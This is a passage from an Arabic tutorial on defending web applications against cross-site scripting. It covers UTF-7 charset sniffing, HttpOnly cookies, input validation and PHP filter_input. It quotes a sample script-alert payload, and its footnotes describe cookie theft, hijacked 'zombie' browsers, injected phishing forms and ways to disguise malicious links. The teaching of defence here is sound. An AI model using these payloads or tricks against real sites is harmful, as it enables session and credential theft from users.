والآن، ماذا سوف يحدث عندما يطلب عميل ما تلك الصفحه التي تحتوي على هذا الكود؟، إن المتصفح سوف يرسل الطلب كالمعتاد، وعندما يتلقى الرد من الخادم سوف يقوم بفحص توجيه «Content-Type» بحثا عن قيمة المتغير «charset»، لم يجدها؟ لا مشكلة، سوف ينتظر حتى يرسل له الخادم محتوى صفحة الـ HTML ومن ثم يقوم بالبحث عن ذلك المتغير – مرة أخرى – ضمن فقرة «meta»، لم يجدها أيضا؟ حسنا جدا، هنا على المتصفح أن «يتصرف» إن صح التعبير. لذا عندما يرى مجموعة حروف مثل «+ADw» فسوف يفترض أن المحتوى يستخدم مجموعة حروف «UTF-7»، ومن ثم سوف يقوم بالتعامل معه على هذا الأساس. هنا تظهر الرسالة المنبثقة المزعجه كدليل على نجاح الكود العابر للموقع، والسبب بسيط، لم يقم شخص ما بتحديد مجموعة الحروف التي سوف تستخدم في ترميز المحتوى.

إن عدم تحديد مجموعة الحروف قد يؤدي إلى نجاح الهاكر في تنفيذ تهديد الكود العابر للموقع، على سبيل المثال

إستخدم خاصية HttpOnly

للحد من خطوره هجمات الكود العابر للموقع، قام فريق التطوير الخاص بمتصفح الويب «Microsoft Internet Explorer 6 SP 1» بتطوير أسلوب جديد يساعد المطور في حمايه الكوكيز. حيث يقوم المطور بإضافه خاصية جديدة هي HttpOnly عندما يطلب من متصفح الويب الخاص بالعميل بإنشاء الكوكيز:

Set-Cookie: X=1; HttpOnly

في السطر السابق، قام المطور بارسال كوكيز تحمل المتغير «X» ذو القيمه «1» ، ثم ألحق بالكوكيز الخاصية HttpOnly. والآن إن كان المتصفح يدعم تلك الخاصية الجديده – أقول إن كان – فانه سوف يكون مسئولا عن منع الوصول لهذه الكوكيز عن طريق كود العميل – Client Side Script – مثل كود JavaScript أو VBScript. وبالتالي، فحتى لو كان الموقع الذي يزوره العميل مهدد بالكود العابر للموقع، فانه لا يمكن سرقه الكوكيز الخاصة بالعميل. وقد يكون الهاكر لا ينتوي أصلا الحصول على الكوكيز، فقد يكون الهاكر ينتوي – عن طريق الكود العابر للموقع – أن يقوم بتحويل متصفح العميل إلى زومبي وبالتالي يقوم بتوجيهه كيف يشاء. إن خاصية «HttpOnly» لن تمنع مثل هذا النوع من الاستغلال، إنها تمنع فقط من سرقة الحلويات.

إن فكرة HttpOnly هي فكره جيده في حد ذاتها، لكن لابد من توضيح بعض الأمور.

• إذا كان متصفح الويب الخاص بالعميل لا يدعم HttpOnly، فان الحلويات التي يرسلها الموقع – حتى لو كانت معلمه بـ HttpOnly – معرضه للوصول إليها في حاله وجود تهديد الكود العابر للموقع
• HttpOnly لا تحمي الموقع ولا العميل من تنفيذ باقي السيناريوهات الخطره للكود العابر للموقع، إنها تحمي فقط من حدوث أحد السيناريوهات المحتمله، وهو السيناريو الخاص بإمكانية سرقة الحلويات من العميل

بخصوص دعم متصفحات الويب لخاصيه HttpOnly، فان الجدول التالي يوضح دعم بعض المتصفحات:

دعم متصفحات الويب لـ HttpOnly
نعم	Microsoft Internet Explorer 6 SP 1  (فما فوق)
نعم	Mozilla Firefox 3.0.0.6  (فما فوق)
نعم	Opera 9.50  (فما فوق)
نعم	Google Chrome Beta (فما فوق)
نعم	Safari 4 (فما فوق)
الجدول كذا – كذا دعم بعض المتصفحات لخاصية «HttpOnly»

والآن ماذا سوف يحدث إذا قام المطور بارسال حلويات معلمه بخاصيه HttpOnly إلى متصفح ويب لا يدعم تلك الخاصية؟ ببساطه سوف يقوم المتصفح بتجاهل تلك الخاصيه، بينما يقبل الحلويات الجديده كأي حلويات أخرى لم يتم تعليمها بخاصية HttpOnly. وبالتالي فليس هناك داع للخوف من استخدام خاصيه HttpOnly، فاذا كان المتصفح يدعمها، فبها ونعمت، وأما إذا كان المتصفح لا يدعمها، فلن تخسر شيئا.

التحقق من ملائمة المدخلات

يجب أن تحدد للعميل ما هي أنواع المدخلات المتوقعه عندما تنتظر من العميل أن يقوم بكتابة بعض المدخلات في خانة ما (كاستمارة ويب). على سبيل المثال، إذا كنت تنتظر من العميل رقم الهاتف الخاص به، فلا تسمح بوجود حروف هجائيه ضمن المدخلات.

يفضل أيضا عدم إبداء مدخلات العميل في رسالة الخطأ الناتجه عن مدخلات غير ملائمة. مثال: إذا قام العميل بادخال التالي «<script>alert(‘xss’)</script>» فلا تقم باظهار رسالة الخطأ بحيث تحتوي على مدخلات العميل. فلا تقم – مثلا – باظهار رسالة الخطأ التاليه «المدخلات <script>alert(‘xss’)</script> لا تلائم مدخلات رقم الهاتف، من فضلك قم بادخال أرقام أو مجموعة الحروف التالية فقط +()-/#». فمثل هذه الطريقة قد تسهم – إذا كان التطبيق مهدد بالكود العابر للموقع – في استغلال ذلك التهديد.

لغة PHP، يمكنك استخدام الداله «filter_input» في عمليه التعقيم، وهذه الداله تقدم العديد من المصفيات وفق حاجة المطور، فمن الممكن استخدام المصفاه – filter – «FILTER_SANITIZE_EMAIL» لتصفيه كل الحروف ماعدا الحروف الممكن وجودها في عنوان البريد الإلكتروني^([13])، كما يمكنك استخدام Regular Expression في تحديد ما إذا كانت المدخلات مطابقة للمتوقع أم لا، ومن ثم تقوم بالتصرف على هذا الأساس.

الحل والتدابير المضاده (دور العميل)

كلمه أخيره

خلاصة القول – للمتعجلين! – هو التالي:

• تعامل مع العميل على أنه هاكر متحمس حتى يثبت العكس
• قم بترميز كل البيانات التي تأتي من العميل أو تذهب إليه
• خاصيه HttpOnly ليست علاجا للكود العابر للموقع، إنما هي محاوله جيده لتقليل خطورته
• لا تعتمد فقط على حلول تعمل من خلال المتصفح – مثل JavaScript – في عملية الترميز (أو شئ آخر)، فمن السهل إيقاف ذلك الكود ومنعه عن العمل، لذا عليك أن تعتمد على الكود الذي يعمل من خلال الخادم
• «XSS Attacks – Cross Site Scripting Exploits and Defense» (دار نشر Syngress)

مصادر للإستزاده

---

([1]) أحد أنواع البرامج الذي يستخدمها الهاكرز في الحصول على معلومات مهمه (كاسم المستخدم وكلمة السر وأرقام بطاقات الائتمان وغيرها من المعلومات المهمه) وذلك عن طريق «التنصت» إلى ما يقوم العميل بكتابته على لوحة المفاتيح (Keyboard)، ومن ثم يقوم البرنامج بتسجيل تلك الضربات في ملف ما، ومن ثم يقوم بارسال ذلك الملف إلى الهاكر

([2]) هناك وسائل أخرى لإرسال شحنه الكود العابر للموقع، فمن الممكن أن يستخدم الهاكر البريد الإلكتروني لإرسال رساله بريئة المظهر تحتوي على الكود العابر للموقع، وفي بعض الأحيان، فان كل ما يحتاجه الهاكر هو أن يقوم العميل بفتح الرساله

([3]) يظهر في اللقطه السابقه بعض المشاركات التي قمت بكتابتها بغرض تجربة التطبيق

([4]) إن الكود «%27» هو المكافئ السداسي عشر (Hex) للعلامة «’»، حيث أن Hacme Books يتذمر كلما تم استخدام تلك العلامه. بالنسبة للهاكر لا مشكله، فهناك العديد من الطرق لاستمعال نفس الحرف وذلك بتغيير طريقة «ترميزه». لهذا السبب استخدمت المكافئ السداسي عشر لعلامة الإقتباس الفردية، وهو ما سوف نتطرق إليه لاحقا.

([5]) طبعا غني عن القول أنك لا تستطيع تجربه خطورة تلك الطريقه من خلال متصفح الويب الذي قمت باستخدامه في عمليه الولوج، وإذا قمت بعمليه تسجيل الخروج – Logout – فان حلويات ذلك العميل الذي قام الهاكر بالسطو عليه تصبح عديمه القيمه، ولكن يمكنك إجراء تلك التجربه باستخدام متصفح آخر. على سبيل المثال، إذا قمت بالولوج من خلال متصفح Firefox، فقم بكتابه الأسطر السابقه من خلال متصفح Internet Explorer، وهكذا تتم التجربة بنجاح

([6]) إن المصطلح «زومبي» يستخدم في وصف تلك الجثث التي فارقتها أرواحها ومن ثم يتم تحريكها بقوى سحرية، وما علينا من هذه التخاريف الأفريقيه. لكن عندما يطلق ذلك المصطلح في أدبيات الهاكرز فان ذلك معناه التحكم بجهاز العميل دون علمه أو إرادته، وغالبا ما يتم استعمال ذلك الجهاز – الزومبي – في عمليات هجوم بالنيابة (عن الهاكر) بحيث يقوم الجهاز الزومبي بتنفيذ أوامر الهاكر في الهجوم على أجهزة أخرى دون توريط الهاكر

([7]) في هذه اللقطه، تم إضافه استماره كامله، وعندما يقع أحد العملاء في الفخ، سوف يلتقط الهاكر اسم المستخدم وكلمه السر الخاصه بذلك العميل. وهناك العديد من الطرق لتشويه الموقع من قبل الهاكرز، فتوقع الأسوأ دائما إذا سقطت يوما تحت رحمتهم

([8]) هناك وسائل عديده يقوم بها منفذ الهجوم لجعل الرابط برئ المظهر، كاستخدامه موقع http://tinyurl.com/ بغيه تقصير حجم الرابط، وأيضا – وهو المهم – عدم ظهور بعض الأحرف المريبه بالنسبه للعميل العادي الذي قد يحجم بسببها عن نقر الرابط

([9]) هو موديل أو قالب لتسهيل الوصول إلى أي مكون من مكونات الصفحه، من خلال المكون الرئيسي document، على سبيل المثال، للوصول إلى عدد الروابط في صفحه ما (<a href=….> … </a>)، يمكنك استخدام الجملة «document.anchors.length»

([10]) إن الترميز هو عمليه نزع خطورة البيانات – سواءا كانت قادمه من العميل أو في طريقها إليه – مع الإحتفاظ بها، على سبيل المثال، عندما يتم ترميز «<b>bold text</b>» سوف تصبح «&lt;b&gt;bold text&lt;/b&gt;» وسوف يقوم متصفح الويب باخراجها «<b>bold text</b>» بدلا من «bold text»

([11]) ها قد قمت يا صديقي بتوفير نصف الطريق عليك لتأمين التطبيق الذي يقوم بعرض المشاركات الخاصه بالعملاء حول الكتب التي يعرضها الموقع، فقم أنت بالباقي وقم بتأمين التطبيق الذي يقوم بادخال تلك المشاركات إلى قاعدة البيانات

([12]) إن مجموعة الحروف «ISO-8859-1» هي مجموعة حروف تغطي أغلب اللغات ذات الأصول اللاتينية، خاصة لغات أوروبا الغربية (الإنجليزية الأمريكيه والبريطانيه، الفرنسية، الألمانية، الإسبانية، إلخ)

([13]) وفقا لطلب التعليق – Request For Comment – رقم RFC0822 الذي يوضح معايير عنوان البريد الإلكتروني، فإنه من الممكن لعنوان البريد الإلكتروني أن يحتوي على مجموعه الحروف «!#$%&’*+-/=?^_`{|}~@.[].» وذلك على الرغم من عدم شيوع استخدام بعض تلك الحروف.